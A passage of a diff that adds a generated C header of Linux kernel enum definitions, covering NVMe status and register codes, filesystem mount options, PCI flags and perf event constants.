8192, + MAX_SAMPLES_PER_BIT = 66, +}; + +enum { + NVMEM_ADD = 1, + NVMEM_REMOVE = 2, + NVMEM_CELL_ADD = 3, + NVMEM_CELL_REMOVE = 4, + NVMEM_LAYOUT_ADD = 5, + NVMEM_LAYOUT_REMOVE = 6, +}; + +enum { + NVME_AEN_CFG_NS_ATTR = 256, + NVME_AEN_CFG_FW_ACT = 512, + NVME_AEN_CFG_ANA_CHANGE = 2048, + NVME_AEN_CFG_DISC_CHANGE = -2147483648, +}; + +enum { + NVME_AER_ERROR = 0, + NVME_AER_SMART = 1, + NVME_AER_NOTICE = 2, + NVME_AER_CSS = 6, + NVME_AER_VS = 7, +}; + +enum { + NVME_AER_ERROR_PERSIST_INT_ERR = 3, +}; + +enum { + NVME_AER_NOTICE_NS_CHANGED = 0, + NVME_AER_NOTICE_FW_ACT_STARTING = 1, + NVME_AER_NOTICE_ANA = 3, + NVME_AER_NOTICE_DISC_CHANGED = 240, +}; + +enum { + NVME_CAP_CRMS_CRWMS = 576460752303423488ULL, + NVME_CAP_CRMS_CRIMS = 1152921504606846976ULL, +}; + +enum { + NVME_CAP_CSS_NVM = 1, + NVME_CAP_CSS_CSI = 64, +}; + +enum { + NVME_CC_ENABLE = 1, + NVME_CC_EN_SHIFT = 0, + NVME_CC_CSS_SHIFT = 4, + NVME_CC_MPS_SHIFT = 7, + NVME_CC_AMS_SHIFT = 11, + NVME_CC_SHN_SHIFT = 14, + NVME_CC_IOSQES_SHIFT = 16, + NVME_CC_IOCQES_SHIFT = 20, + NVME_CC_CSS_NVM = 0, + NVME_CC_CSS_CSI = 96, + NVME_CC_CSS_MASK = 112, + NVME_CC_AMS_RR = 0, + NVME_CC_AMS_WRRU = 2048, + NVME_CC_AMS_VS = 14336, + NVME_CC_SHN_NONE = 0, + NVME_CC_SHN_NORMAL = 16384, + NVME_CC_SHN_ABRUPT = 32768, + NVME_CC_SHN_MASK = 49152, + NVME_CC_IOSQES = 393216, + NVME_CC_IOCQES = 4194304, + NVME_CC_CRIME = 16777216, +}; + +enum { + NVME_CMBMSC_CRE = 1, + NVME_CMBMSC_CMSE = 2, +}; + +enum { + NVME_CMBSZ_SQS = 1, + NVME_CMBSZ_CQS = 2, + NVME_CMBSZ_LISTS = 4, + NVME_CMBSZ_RDS = 8, + NVME_CMBSZ_WDS = 16, + NVME_CMBSZ_SZ_SHIFT = 12, + NVME_CMBSZ_SZ_MASK = 1048575, + NVME_CMBSZ_SZU_SHIFT = 8, + NVME_CMBSZ_SZU_MASK = 15, +}; + +enum { + NVME_CMD_EFFECTS_CSUPP = 1, + NVME_CMD_EFFECTS_LBCC = 2, + NVME_CMD_EFFECTS_NCC = 4, + NVME_CMD_EFFECTS_NIC = 8, + NVME_CMD_EFFECTS_CCC = 16, + NVME_CMD_EFFECTS_CSER_MASK = 49152, + NVME_CMD_EFFECTS_CSE_MASK = 458752, + NVME_CMD_EFFECTS_UUID_SEL = 524288, + NVME_CMD_EFFECTS_SCOPE_MASK = 4293918720, +}; + +enum { + NVME_CMD_FUSE_FIRST = 1, + NVME_CMD_FUSE_SECOND = 2, + NVME_CMD_SGL_METABUF = 64, + NVME_CMD_SGL_METASEG = 128, + NVME_CMD_SGL_ALL = 192, +}; + +enum { + NVME_CSI_NVM = 0, + NVME_CSI_ZNS = 2, +}; + +enum { + NVME_CSTS_RDY = 1, + NVME_CSTS_CFS = 2, + NVME_CSTS_NSSRO = 16, + NVME_CSTS_PP = 32, + NVME_CSTS_SHST_NORMAL = 0, + NVME_CSTS_SHST_OCCUR = 4, + NVME_CSTS_SHST_CMPLT = 8, + NVME_CSTS_SHST_MASK = 12, +}; + +enum { + NVME_CTRL_CMIC_MULTI_PORT = 1, + NVME_CTRL_CMIC_MULTI_CTRL = 2, + NVME_CTRL_CMIC_ANA = 8, + NVME_CTRL_ONCS_COMPARE = 1, + NVME_CTRL_ONCS_WRITE_UNCORRECTABLE = 2, + NVME_CTRL_ONCS_DSM = 4, + NVME_CTRL_ONCS_WRITE_ZEROES = 8, + NVME_CTRL_ONCS_RESERVATIONS = 32, + NVME_CTRL_ONCS_TIMESTAMP = 64, + NVME_CTRL_VWC_PRESENT = 1, + NVME_CTRL_OACS_SEC_SUPP = 1, + NVME_CTRL_OACS_NS_MNGT_SUPP = 8, + NVME_CTRL_OACS_DIRECTIVES = 32, + NVME_CTRL_OACS_DBBUF_SUPP = 256, + NVME_CTRL_LPA_CMD_EFFECTS_LOG = 2, + NVME_CTRL_CTRATT_128_ID = 1, + NVME_CTRL_CTRATT_NON_OP_PSP = 2, + NVME_CTRL_CTRATT_NVM_SETS = 4, + NVME_CTRL_CTRATT_READ_RECV_LVLS = 8, + NVME_CTRL_CTRATT_ENDURANCE_GROUPS = 16, + NVME_CTRL_CTRATT_PREDICTABLE_LAT = 32, + NVME_CTRL_CTRATT_NAMESPACE_GRANULARITY = 128, + NVME_CTRL_CTRATT_UUID_LIST = 512, +}; + +enum { + NVME_DSMGMT_IDR = 1, + NVME_DSMGMT_IDW = 2, + NVME_DSMGMT_AD = 4, +}; + +enum { + NVME_ENABLE_ACRE = 1, + NVME_ENABLE_LBAFEE = 1, +}; + +enum { + NVME_HOST_MEM_ENABLE = 1, + NVME_HOST_MEM_RETURN = 2, +}; + +enum { + NVME_ID_CNS_NS = 0, + NVME_ID_CNS_CTRL = 1, + NVME_ID_CNS_NS_ACTIVE_LIST = 2, + NVME_ID_CNS_NS_DESC_LIST = 3, + NVME_ID_CNS_CS_NS = 5, + NVME_ID_CNS_CS_CTRL = 6, + NVME_ID_CNS_NS_CS_INDEP = 8, + NVME_ID_CNS_NS_PRESENT_LIST = 16, + NVME_ID_CNS_NS_PRESENT = 17, + NVME_ID_CNS_CTRL_NS_LIST = 18, + NVME_ID_CNS_CTRL_LIST = 19, + NVME_ID_CNS_SCNDRY_CTRL_LIST = 21, + NVME_ID_CNS_NS_GRANULARITY = 22, + NVME_ID_CNS_UUID_LIST = 23, +}; + +enum { + NVME_ID_NS_NVM_STS_MASK = 127, + NVME_ID_NS_NVM_GUARD_SHIFT = 7, + NVME_ID_NS_NVM_GUARD_MASK = 3, + NVME_ID_NS_NVM_QPIF_SHIFT = 9, + NVME_ID_NS_NVM_QPIF_MASK = 15, + NVME_ID_NS_NVM_QPIFS = 8, +}; + +enum { + NVME_IOCTL_VEC = 1, + NVME_IOCTL_PARTITION = 2, +}; + +enum { + NVME_NIDT_EUI64 = 1, + NVME_NIDT_NGUID = 2, + NVME_NIDT_UUID = 3, + NVME_NIDT_CSI = 4, +}; + +enum { + NVME_NSTAT_NRDY = 1, +}; + +enum { + NVME_NS_FEAT_THIN = 1, + NVME_NS_FEAT_ATOMICS = 2, + NVME_NS_FEAT_IO_OPT = 16, + NVME_NS_ATTR_RO = 1, + NVME_NS_FLBAS_LBA_MASK = 15, + NVME_NS_FLBAS_LBA_UMASK = 96, + NVME_NS_FLBAS_LBA_SHIFT = 1, + NVME_NS_FLBAS_META_EXT = 16, + NVME_NS_NMIC_SHARED = 1, + NVME_LBAF_RP_BEST = 0, + NVME_LBAF_RP_BETTER = 1, + NVME_LBAF_RP_GOOD = 2, + NVME_LBAF_RP_DEGRADED = 3, + NVME_NS_DPC_PI_LAST = 16, + NVME_NS_DPC_PI_FIRST = 8, + NVME_NS_DPC_PI_TYPE3 = 4, + NVME_NS_DPC_PI_TYPE2 = 2, + NVME_NS_DPC_PI_TYPE1 = 1, + NVME_NS_DPS_PI_FIRST = 8, + NVME_NS_DPS_PI_MASK = 7, + NVME_NS_DPS_PI_TYPE1 = 1, + NVME_NS_DPS_PI_TYPE2 = 2, + NVME_NS_DPS_PI_TYPE3 = 3, +}; + +enum { + NVME_NVM_NS_16B_GUARD = 0, + NVME_NVM_NS_32B_GUARD = 1, + NVME_NVM_NS_64B_GUARD = 2, + NVME_NVM_NS_QTYPE_GUARD = 3, +}; + +enum { + NVME_PS_FLAGS_MAX_POWER_SCALE = 1, + NVME_PS_FLAGS_NON_OP_STATE = 2, +}; + +enum { + NVME_QUEUE_PHYS_CONTIG = 1, + NVME_CQ_IRQ_ENABLED = 2, + NVME_SQ_PRIO_URGENT = 0, + NVME_SQ_PRIO_HIGH = 2, + NVME_SQ_PRIO_MEDIUM = 4, + NVME_SQ_PRIO_LOW = 6, + NVME_FEAT_ARBITRATION = 1, + NVME_FEAT_POWER_MGMT = 2, + NVME_FEAT_LBA_RANGE = 3, + NVME_FEAT_TEMP_THRESH = 4, + NVME_FEAT_ERR_RECOVERY = 5, + NVME_FEAT_VOLATILE_WC = 6, + NVME_FEAT_NUM_QUEUES = 7, + NVME_FEAT_IRQ_COALESCE = 8, + NVME_FEAT_IRQ_CONFIG = 9, + NVME_FEAT_WRITE_ATOMIC = 10, + NVME_FEAT_ASYNC_EVENT = 11, + NVME_FEAT_AUTO_PST = 12, + NVME_FEAT_HOST_MEM_BUF = 13, + NVME_FEAT_TIMESTAMP = 14, + NVME_FEAT_KATO = 15, + NVME_FEAT_HCTM = 16, + NVME_FEAT_NOPSC = 17, + NVME_FEAT_RRL = 18, + NVME_FEAT_PLM_CONFIG = 19, + NVME_FEAT_PLM_WINDOW = 20, + NVME_FEAT_HOST_BEHAVIOR = 22, + NVME_FEAT_SANITIZE = 23, + NVME_FEAT_SW_PROGRESS = 128, + NVME_FEAT_HOST_ID = 129, + NVME_FEAT_RESV_MASK = 130, + NVME_FEAT_RESV_PERSIST = 131, + NVME_FEAT_WRITE_PROTECT = 132, + NVME_FEAT_VENDOR_START = 192, + NVME_FEAT_VENDOR_END = 255, + NVME_LOG_ERROR = 1, + NVME_LOG_SMART = 2, + NVME_LOG_FW_SLOT = 3, + NVME_LOG_CHANGED_NS = 4, + NVME_LOG_CMD_EFFECTS = 5, + NVME_LOG_DEVICE_SELF_TEST = 6, + NVME_LOG_TELEMETRY_HOST = 7, + NVME_LOG_TELEMETRY_CTRL = 8, + NVME_LOG_ENDURANCE_GROUP = 9, + NVME_LOG_ANA = 12, + NVME_LOG_DISC = 112, + NVME_LOG_RESERVATION = 128, + NVME_FWACT_REPL = 0, + NVME_FWACT_REPL_ACTV = 8, + NVME_FWACT_ACTV = 16, +}; + +enum { + NVME_REG_CAP = 0, + NVME_REG_VS = 8, + NVME_REG_INTMS = 12, + NVME_REG_INTMC = 16, + NVME_REG_CC = 20, + NVME_REG_CSTS = 28, + NVME_REG_NSSR = 32, + NVME_REG_AQA = 36, + NVME_REG_ASQ = 40, + NVME_REG_ACQ = 48, + NVME_REG_CMBLOC = 56, + NVME_REG_CMBSZ = 60, + NVME_REG_BPINFO = 64, + NVME_REG_BPRSEL = 68, + NVME_REG_BPMBL = 72, + NVME_REG_CMBMSC = 80, + NVME_REG_CRTO = 104, + NVME_REG_PMRCAP = 3584, + NVME_REG_PMRCTL = 3588, + NVME_REG_PMRSTS = 3592, + NVME_REG_PMREBS = 3596, + NVME_REG_PMRSWTP = 3600, + NVME_REG_DBS = 4096, +}; + +enum { + NVME_REQ_CANCELLED = 1, + NVME_REQ_USERCMD = 2, + NVME_MPATH_IO_STATS = 4, + NVME_MPATH_CNT_ACTIVE = 8, +}; + +enum { + NVME_RW_LR = 32768, + NVME_RW_FUA = 16384, + NVME_RW_APPEND_PIREMAP = 512, + NVME_RW_DSM_FREQ_UNSPEC = 0, + NVME_RW_DSM_FREQ_TYPICAL = 1, + NVME_RW_DSM_FREQ_RARE = 2, + NVME_RW_DSM_FREQ_READS = 3, + NVME_RW_DSM_FREQ_WRITES = 4, + NVME_RW_DSM_FREQ_RW = 5, + NVME_RW_DSM_FREQ_ONCE = 6, + NVME_RW_DSM_FREQ_PREFETCH = 7, + NVME_RW_DSM_FREQ_TEMP = 8, + NVME_RW_DSM_LATENCY_NONE = 0, + NVME_RW_DSM_LATENCY_IDLE = 16, + NVME_RW_DSM_LATENCY_NORM = 32, + NVME_RW_DSM_LATENCY_LOW = 48, + NVME_RW_DSM_SEQ_REQ = 64, + NVME_RW_DSM_COMPRESSED = 128, + NVME_RW_PRINFO_PRCHK_REF = 1024, + NVME_RW_PRINFO_PRCHK_APP = 2048, + NVME_RW_PRINFO_PRCHK_GUARD = 4096, + NVME_RW_PRINFO_PRACT = 8192, + NVME_RW_DTYPE_STREAMS = 16, + NVME_WZ_DEAC = 512, +}; + +enum { + NVME_SCT_GENERIC = 0, + NVME_SC_SUCCESS = 0, + NVME_SC_INVALID_OPCODE = 1, + NVME_SC_INVALID_FIELD = 2, + NVME_SC_CMDID_CONFLICT = 3, + NVME_SC_DATA_XFER_ERROR = 4, + NVME_SC_POWER_LOSS = 5, + NVME_SC_INTERNAL = 6, + NVME_SC_ABORT_REQ = 7, + NVME_SC_ABORT_QUEUE = 8, + NVME_SC_FUSED_FAIL = 9, + NVME_SC_FUSED_MISSING = 10, + NVME_SC_INVALID_NS = 11, + NVME_SC_CMD_SEQ_ERROR = 12, + NVME_SC_SGL_INVALID_LAST = 13, + NVME_SC_SGL_INVALID_COUNT = 14, + NVME_SC_SGL_INVALID_DATA = 15, + NVME_SC_SGL_INVALID_METADATA = 16, + NVME_SC_SGL_INVALID_TYPE = 17, + NVME_SC_CMB_INVALID_USE = 18, + NVME_SC_PRP_INVALID_OFFSET = 19, + NVME_SC_ATOMIC_WU_EXCEEDED = 20, + NVME_SC_OP_DENIED = 21, + NVME_SC_SGL_INVALID_OFFSET = 22, + NVME_SC_RESERVED = 23, + NVME_SC_HOST_ID_INCONSIST = 24, + NVME_SC_KA_TIMEOUT_EXPIRED = 25, + NVME_SC_KA_TIMEOUT_INVALID = 26, + NVME_SC_ABORTED_PREEMPT_ABORT = 27, + NVME_SC_SANITIZE_FAILED = 28, + NVME_SC_SANITIZE_IN_PROGRESS = 29, + NVME_SC_SGL_INVALID_GRANULARITY = 30, + NVME_SC_CMD_NOT_SUP_CMB_QUEUE = 31, + NVME_SC_NS_WRITE_PROTECTED = 32, + NVME_SC_CMD_INTERRUPTED = 33, + NVME_SC_TRANSIENT_TR_ERR = 34, + NVME_SC_ADMIN_COMMAND_MEDIA_NOT_READY = 36, + NVME_SC_INVALID_IO_CMD_SET = 44, + NVME_SC_LBA_RANGE = 128, + NVME_SC_CAP_EXCEEDED = 129, + NVME_SC_NS_NOT_READY = 130, + NVME_SC_RESERVATION_CONFLICT = 131, + NVME_SC_FORMAT_IN_PROGRESS = 132, + NVME_SCT_COMMAND_SPECIFIC = 256, + NVME_SC_CQ_INVALID = 256, + NVME_SC_QID_INVALID = 257, + NVME_SC_QUEUE_SIZE = 258, + NVME_SC_ABORT_LIMIT = 259, + NVME_SC_ABORT_MISSING = 260, + NVME_SC_ASYNC_LIMIT = 261, + NVME_SC_FIRMWARE_SLOT = 262, + NVME_SC_FIRMWARE_IMAGE = 263, + NVME_SC_INVALID_VECTOR = 264, + NVME_SC_INVALID_LOG_PAGE = 265, + NVME_SC_INVALID_FORMAT = 266, + NVME_SC_FW_NEEDS_CONV_RESET = 267, + NVME_SC_INVALID_QUEUE = 268, + NVME_SC_FEATURE_NOT_SAVEABLE = 269, + NVME_SC_FEATURE_NOT_CHANGEABLE = 270, + NVME_SC_FEATURE_NOT_PER_NS = 271, + NVME_SC_FW_NEEDS_SUBSYS_RESET = 272, + NVME_SC_FW_NEEDS_RESET = 273, + NVME_SC_FW_NEEDS_MAX_TIME = 274, + NVME_SC_FW_ACTIVATE_PROHIBITED = 275, + NVME_SC_OVERLAPPING_RANGE = 276, + NVME_SC_NS_INSUFFICIENT_CAP = 277, + NVME_SC_NS_ID_UNAVAILABLE = 278, + NVME_SC_NS_ALREADY_ATTACHED = 280, + NVME_SC_NS_IS_PRIVATE = 281, + NVME_SC_NS_NOT_ATTACHED = 282, + NVME_SC_THIN_PROV_NOT_SUPP = 283, + NVME_SC_CTRL_LIST_INVALID = 284, + NVME_SC_SELT_TEST_IN_PROGRESS = 285, + NVME_SC_BP_WRITE_PROHIBITED = 286, + NVME_SC_CTRL_ID_INVALID = 287, + NVME_SC_SEC_CTRL_STATE_INVALID = 288, + NVME_SC_CTRL_RES_NUM_INVALID = 289, + NVME_SC_RES_ID_INVALID = 290, + NVME_SC_PMR_SAN_PROHIBITED = 291, + NVME_SC_ANA_GROUP_ID_INVALID = 292, + NVME_SC_ANA_ATTACH_FAILED = 293, + NVME_SC_BAD_ATTRIBUTES = 384, + NVME_SC_INVALID_PI = 385, + NVME_SC_READ_ONLY = 386, + NVME_SC_ONCS_NOT_SUPPORTED = 387, + NVME_SC_CONNECT_FORMAT = 384, + NVME_SC_CONNECT_CTRL_BUSY = 385, + NVME_SC_CONNECT_INVALID_PARAM = 386, + NVME_SC_CONNECT_RESTART_DISC = 387, + NVME_SC_CONNECT_INVALID_HOST = 388, + NVME_SC_DISCOVERY_RESTART = 400, + NVME_SC_AUTH_REQUIRED = 401, + NVME_SC_ZONE_BOUNDARY_ERROR = 440, + NVME_SC_ZONE_FULL = 441, + NVME_SC_ZONE_READ_ONLY = 442, + NVME_SC_ZONE_OFFLINE = 443, + NVME_SC_ZONE_INVALID_WRITE = 444, + NVME_SC_ZONE_TOO_MANY_ACTIVE = 445, + NVME_SC_ZONE_TOO_MANY_OPEN = 446, + NVME_SC_ZONE_INVALID_TRANSITION = 447, + NVME_SCT_MEDIA_ERROR = 512, + NVME_SC_WRITE_FAULT = 640, + NVME_SC_READ_ERROR = 641, + NVME_SC_GUARD_CHECK = 642, + NVME_SC_APPTAG_CHECK = 643, + NVME_SC_REFTAG_CHECK = 644, + NVME_SC_COMPARE_FAILED = 645, + NVME_SC_ACCESS_DENIED = 646, + NVME_SC_UNWRITTEN_BLOCK = 647, + NVME_SCT_PATH = 768, + NVME_SC_INTERNAL_PATH_ERROR = 768, + NVME_SC_ANA_PERSISTENT_LOSS = 769, + NVME_SC_ANA_INACCESSIBLE = 770, + NVME_SC_ANA_TRANSITION = 771, + NVME_SC_CTRL_PATH_ERROR = 864, + NVME_SC_HOST_PATH_ERROR = 880, + NVME_SC_HOST_ABORTED_CMD = 881, + NVME_SC_MASK = 255, + NVME_SCT_MASK = 1792, + NVME_SCT_SC_MASK = 2047, + NVME_STATUS_CRD = 6144, + NVME_STATUS_MORE = 8192, + NVME_STATUS_DNR = 16384, +}; + +enum { + NVME_SGL_FMT_DATA_DESC = 0, + NVME_SGL_FMT_SEG_DESC = 2, + NVME_SGL_FMT_LAST_SEG_DESC = 3, + NVME_KEY_SGL_FMT_DATA_DESC = 4, + NVME_TRANSPORT_SGL_DATA_DESC = 5, +}; + +enum { + NVME_SUBMIT_AT_HEAD = 1, + NVME_SUBMIT_NOWAIT = 2, + NVME_SUBMIT_RESERVED = 4, + NVME_SUBMIT_RETRY = 8, +}; + +enum { + OD_NORMAL_SAMPLE = 0, + OD_SUB_SAMPLE = 1, +}; + +enum { + OPT_SOURCE = 0, + OPT_SUBTYPE = 1, + OPT_FD = 2, + OPT_ROOTMODE = 3, + OPT_USER_ID = 4, + OPT_GROUP_ID = 5, + OPT_DEFAULT_PERMISSIONS = 6, + OPT_ALLOW_OTHER = 7, + OPT_MAX_READ = 8, + OPT_BLKSIZE = 9, + OPT_ERR = 10, +}; + +enum { + OPT_UID = 0, + OPT_GID = 1, + OPT_MODE = 2, + OPT_DELEGATE_CMDS = 3, + OPT_DELEGATE_MAPS = 4, + OPT_DELEGATE_PROGS = 5, + OPT_DELEGATE_ATTACHS = 6, +}; + +enum { + OVERRIDE_NONE = 0, + OVERRIDE_BASE = 1, + OVERRIDE_STRIDE = 2, + OVERRIDE_HEIGHT = 4, + OVERRIDE_WIDTH = 8, +}; + +enum { + Opt_acl = 0, + Opt_clear_cache = 1, + Opt_commit_interval = 2, + Opt_compress = 3, + Opt_compress_force = 4, + Opt_compress_force_type = 5, + Opt_compress_type = 6, + Opt_degraded = 7, + Opt_device = 8, + Opt_fatal_errors = 9, + Opt_flushoncommit = 10, + Opt_max_inline = 11, + Opt_barrier = 12, + Opt_datacow = 13, + Opt_datasum = 14, + Opt_defrag = 15, + Opt_discard = 16, + Opt_discard_mode = 17, + Opt_ratio = 18, + Opt_rescan_uuid_tree = 19, + Opt_skip_balance = 20, + Opt_space_cache = 21, + Opt_space_cache_version = 22, + Opt_ssd = 23, + Opt_ssd_spread = 24, + Opt_subvol = 25, + Opt_subvol_empty = 26, + Opt_subvolid = 27, + Opt_thread_pool = 28, + Opt_treelog = 29, + Opt_user_subvol_rm_allowed = 30, + Opt_norecovery = 31, + Opt_rescue = 32, + Opt_usebackuproot = 33, + Opt_nologreplay = 34, + Opt_enospc_debug = 35, + Opt_err = 36, +}; + +enum { + Opt_block = 0, + Opt_check = 1, + Opt_cruft = 2, + Opt_gid = 3, + Opt_ignore = 4, + Opt_iocharset = 5, + Opt_map = 6, + Opt_mode = 7, + Opt_nojoliet = 8, + Opt_norock = 9, + Opt_sb = 10, + Opt_session = 11, + Opt_uid = 12, + Opt_unhide = 13, + Opt_utf8 = 14, + Opt_err___2 = 15, + Opt_nocompress = 16, + Opt_hide = 17, + Opt_showassoc = 18, + Opt_dmode = 19, + Opt_overriderockperm = 20, +}; + +enum { + Opt_bsd_df = 0, + Opt_minix_df = 1, + Opt_grpid = 2, + Opt_nogrpid = 3, + Opt_resgid = 4, + Opt_resuid = 5, + Opt_sb___2 = 6, + Opt_nouid32 = 7, + Opt_debug = 8, + Opt_removed = 9, + Opt_user_xattr = 10, + Opt_acl___2 = 11, + Opt_auto_da_alloc = 12, + Opt_noauto_da_alloc = 13, + Opt_noload = 14, + Opt_commit = 15, + Opt_min_batch_time = 16, + Opt_max_batch_time = 17, + Opt_journal_dev = 18, + Opt_journal_path = 19, + Opt_journal_checksum = 20, + Opt_journal_async_commit = 21, + Opt_abort = 22, + Opt_data_journal = 23, + Opt_data_ordered = 24, + Opt_data_writeback = 25, + Opt_data_err_abort = 26, + Opt_data_err_ignore = 27, + Opt_test_dummy_encryption = 28, + Opt_inlinecrypt = 29, + Opt_usrjquota = 30, + Opt_grpjquota = 31, + Opt_quota = 32, + Opt_noquota = 33, + Opt_barrier___2 = 34, + Opt_nobarrier = 35, + Opt_err___3 = 36, + Opt_usrquota = 37, + Opt_grpquota = 38, + Opt_prjquota = 39, + Opt_dax = 40, + Opt_dax_always = 41, + Opt_dax_inode = 42, + Opt_dax_never = 43, + Opt_stripe = 44, + Opt_delalloc = 45, + Opt_nodelalloc = 46, + Opt_warn_on_error = 47, + Opt_nowarn_on_error = 48, + Opt_mblk_io_submit = 49, + Opt_debug_want_extra_isize = 50, + Opt_nomblk_io_submit = 51, + Opt_block_validity = 52, + Opt_noblock_validity = 53, + Opt_inode_readahead_blks = 54, + Opt_journal_ioprio = 55, + Opt_dioread_nolock = 56, + Opt_dioread_lock = 57, + Opt_discard___2 = 58, + Opt_nodiscard = 59, + Opt_init_itable = 60, + Opt_noinit_itable = 61, + Opt_max_dir_size_kb = 62, + Opt_nojournal_checksum = 63, + Opt_nombcache = 64, + Opt_no_prefetch_block_bitmaps = 65, + Opt_mb_optimize_scan = 66, + Opt_errors = 67, + Opt_data = 68, + Opt_data_err = 69, + Opt_jqfmt = 70, + Opt_dax_type = 71, +}; + +enum { + Opt_check___2 = 0, + Opt_uid___2 = 1, + Opt_gid___2 = 2, + Opt_umask = 3, + Opt_dmask = 4, + Opt_fmask = 5, + Opt_allow_utime = 6, + Opt_codepage = 7, + Opt_usefree = 8, + Opt_nocase = 9, + Opt_quiet = 10, + Opt_showexec = 11, + Opt_debug___2 = 12, + Opt_immutable = 13, + Opt_dots = 14, + Opt_dotsOK = 15, + Opt_charset = 16, + Opt_shortname = 17, + Opt_utf8___2 = 18, + Opt_utf8_bool = 19, + Opt_uni_xl = 20, + Opt_uni_xl_bool = 21, + Opt_nonumtail = 22, + Opt_nonumtail_bool = 23, + Opt_obsolete = 24, + Opt_flush = 25, + Opt_tz = 26, + Opt_rodir = 27, + Opt_errors___2 = 28, + Opt_discard___3 = 29, + Opt_nfs = 30, + Opt_nfs_enum = 31, + Opt_time_offset = 32, + Opt_dos1xfloppy = 33, +}; + +enum { + Opt_direct = 0, + Opt_fd = 1, + Opt_gid___3 = 2, + Opt_ignore___2 = 3, + Opt_indirect = 4, + Opt_maxproto = 5, + Opt_minproto = 6, + Opt_offset = 7, + Opt_pgrp = 8, + Opt_strictexpire = 9, + Opt_uid___3 = 10, +}; + +enum { + Opt_discard_sync = 0, + Opt_discard_async = 1, +}; + +enum { + Opt_err___4 = 0, + Opt_enc = 1, + Opt_hash = 2, +}; + +enum { + Opt_fatal_errors_panic = 0, + Opt_fatal_errors_bug = 1, +}; + +enum { + Opt_rescue_usebackuproot = 0, + Opt_rescue_nologreplay = 1, + Opt_rescue_ignorebadroots = 2, + Opt_rescue_ignoredatacsums = 3, + Opt_rescue_ignoremetacsums = 4, + Opt_rescue_ignoresuperflags = 5, + Opt_rescue_parameter_all = 6, +}; + +enum { + Opt_space_cache_v1 = 0, + Opt_space_cache_v2 = 1, +}; + +enum { + Opt_uid___4 = 0, + Opt_gid___4 = 1, +}; + +enum { + Opt_uid___5 = 0, + Opt_gid___5 = 1, + Opt_mode___2 = 2, +}; + +enum { + Opt_uid___6 = 0, + Opt_gid___6 = 1, + Opt_mode___3 = 2, + Opt_source = 3, +}; + +enum { + Opt_uid___7 = 0, + Opt_gid___7 = 1, + Opt_mode___4 = 2, + Opt_ptmxmode = 3, + Opt_newinstance = 4, + Opt_max = 5, + Opt_err___5 = 6, +}; + +enum { + PAGE_WAS_MAPPED = 1, + PAGE_WAS_MLOCKED = 2, + PAGE_OLD_STATES = 3, +}; + +enum { + PARITY_DISABLE_RMW = 0, + PARITY_ENABLE_RMW = 1, + PARITY_PREFER_RMW = 2, +}; + +enum { + PARSE_INVALID = 1, + PARSE_NOT_LONGNAME = 2, + PARSE_EOF = 3, +}; + +enum { + PAT_UC = 0, + PAT_WC = 1, + PAT_WT = 4, + PAT_WP = 5, + PAT_WB = 6, + PAT_UC_MINUS = 7, +}; + +enum { + PCI_REASSIGN_ALL_RSRC = 1, + PCI_REASSIGN_ALL_BUS = 2, + PCI_PROBE_ONLY = 4, + PCI_CAN_SKIP_ISA_ALIGN = 8, + PCI_ENABLE_PROC_DOMAINS = 16, + PCI_COMPAT_DOMAIN_0 = 32, + PCI_SCAN_ALL_PCIE_DEVS = 64, +}; + +enum { + PCI_STD_RESOURCES = 0, + PCI_STD_RESOURCE_END = 5, + PCI_ROM_RESOURCE = 6, + PCI_BRIDGE_RESOURCES = 7, + PCI_BRIDGE_RESOURCE_END = 10, + PCI_NUM_RESOURCES = 11, + DEVICE_COUNT_RESOURCE = 11, +}; + +enum { + PERCPU_REF_INIT_ATOMIC = 1, + PERCPU_REF_INIT_DEAD = 2, + PERCPU_REF_ALLOW_REINIT = 4, +}; + +enum { + PERF_BR_SPEC_NA = 0, + PERF_BR_SPEC_WRONG_PATH = 1, + PERF_BR_NON_SPEC_CORRECT_PATH = 2, + PERF_BR_SPEC_CORRECT_PATH = 3, + PERF_BR_SPEC_MAX = 4, +}; + +enum { + PERF_BR_UNKNOWN = 0, + PERF_BR_COND = 1, + PERF_BR_UNCOND = 2, + PERF_BR_IND = 3, + PERF_BR_CALL = 4, + PERF_BR_IND_CALL = 5, + PERF_BR_RET = 6, + PERF_BR_SYSCALL = 7, + PERF_BR_SYSRET = 8, + PERF_BR_COND_CALL = 9, + PERF_BR_COND_RET = 10, + PERF_BR_ERET = 11, + PERF_BR_IRQ = 12, + PERF_BR_SERROR = 13, + PERF_BR_NO_TX = 14, + PERF_BR_EXTEND_ABI = 15, + PERF_BR_MAX = 16, +}; + +enum { + PERF_TXN_ELISION = 1ULL, + PERF_TXN_TRANSACTION = 2ULL, + PERF_TXN_SYNC = 4ULL, + PERF_TXN_ASYNC = 8ULL, + PERF_TXN_RETRY = 16ULL, + PERF_TXN_CONFLICT = 32ULL, + PERF_TXN_CAPACITY_WRITE = 64ULL, + PERF_TXN_CAPACITY_READ = 128ULL, + PERF_TXN_MAX = 256ULL, + PERF_TXN_ABORT_MASK = 18446744069414584320ULL, + PERF_TXN_ABORT_SHIFT = 32ULL, +}; + +enum { + PERF_X86_EVENT_PEBS_LDLAT = 1, + PERF_X86_EVENT_PEBS_ST = 2, + PERF_X86_EVENT_PEBS_ST_HSW = 4, + PERF_X86_EVENT_PEBS_LD_HSW = 8, + PERF_X86_EVENT_PEBS_NA_HSW = 16, + PERF_X86_EVENT_EXCL = 32, + PERF_X86_EVENT_DYNAMIC = 64, + PERF_X86_EVENT_EXCL_ACCT = 256, + PERF_X86_EVENT_AUTO_RELOAD = 512, + PERF_X86_EVENT_LARGE_PEBS = 1024, + PERF_X86_EVENT_PEBS_VIA_PT = 2048, + PERF_X86_EVENT_PAIR = 4096, + PERF_X86_EVENT_LBR_SELECT = 8192, + PERF_X86_EVENT_TOPDOWN = 16384, + PERF_X86_EVENT_PEBS_STLAT = 32768, + PERF_X86_EVENT_AMD_BRS = 65536, + PERF_X86_EVENT_PEBS_LAT_HYBRID = 131072, + PERF_X86_EVENT_NEEDS_BRANCH_STACK = 262144, + PERF_X86_EVENT_BRANCH_COUNTERS = 524288, +}; + +enum { + PER_LINUX = 0, + PER_LINUX_32BIT = 8388608, + PER_LINUX_FDPIC = 524288, + PER_SVR4 = 68157441, + PER_SVR3 = 83886082, + PER_SCOSVR3 = 117440515, + PER_OSR5 = 100663299, + PER_WYSEV386 = 83886084, + PER_ISCR4 = 67108869, + PER_BSD = 6, + PER_SUNOS = 67108870, + PER_XENIX = 83886087, + PER_LINUX32 = 8, + PER_LINUX32_3GB = 134217736, + PER_IRIX32 = 67108873, + PER_IRIXN32 = 67108874, + PER_IRIX64 = 67108875, + PER_RISCOS = 12, + PER_SOLARIS = 67108877, + PER_UW7 = 68157454, + 